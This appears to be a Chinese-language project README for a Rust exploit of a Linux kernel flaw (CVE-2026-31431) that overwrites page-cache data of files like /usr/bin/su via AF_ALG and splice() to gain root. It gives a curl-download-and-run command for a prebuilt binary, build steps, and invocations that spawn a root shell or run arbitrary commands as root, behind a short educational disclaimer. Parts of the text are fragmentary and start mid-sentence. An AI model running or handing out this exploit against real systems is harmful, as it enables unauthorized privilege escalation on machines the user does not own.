Copy Fail 漏洞利用(CVE-2026-31431)的 Rust 实现,这是一个关键漏洞,通过链式利用 AF_ALG 和 splice() 实现 4 字节页缓存写入,从而在主流 Linux 发行版上实现本地权限提升。
基于 Xint Code 的研究和 PoC。
[!CAUTION] 本项目仅用于教育和研究目的。在您不拥有或未经明确许可的系统上运行此漏洞利用程序是非法且不道德的。请负责任地使用此代码,以理解和防御类似的漏洞。
libc 直接与 Linux 内核的 AF_ALG 和 splice() 系统调用交互。您可以直接下载并运行预编译的 PoC 二进制文件:
curl -L https://github.com/sammwyy/copyfail-rs/releases/download/poc/copyfail-rs_x86-64 -o copyfail-rs && chmod +x copyfail-rs && ./copyfail-rs
/usr/bin/su)。克隆仓库并构建二进制文件:
git clone https://github.com/sammwyy/copyfail-rs.git
cd copyfail-rs
cargo build --release
不带参数运行漏洞利用程序,默认执行 /bin/sh:
./target/release/copyfail-rs
或指定要以 root 权限运行的自定义命令:
./target/release/copyfail-rs "whoami > /tmp/pwned"
该漏洞利用利用了 Linux 内核 Crypto API(AF_ALG)中 authencesn 实现的一个缺陷。通过将 sendmsg 与 MSG_MORE 和 splice() 链式结合,可以用恶意 ELF 载荷覆盖任意文件(如 /usr/bin/su)的页缓存中的小块数据。
AF_ALG 套接字并绑定到 authencesn(hmac(sha256),cbc(aes))。AF_ALG 漏洞,迭代地将载荷拼接(splice)到目标文件的页缓存中。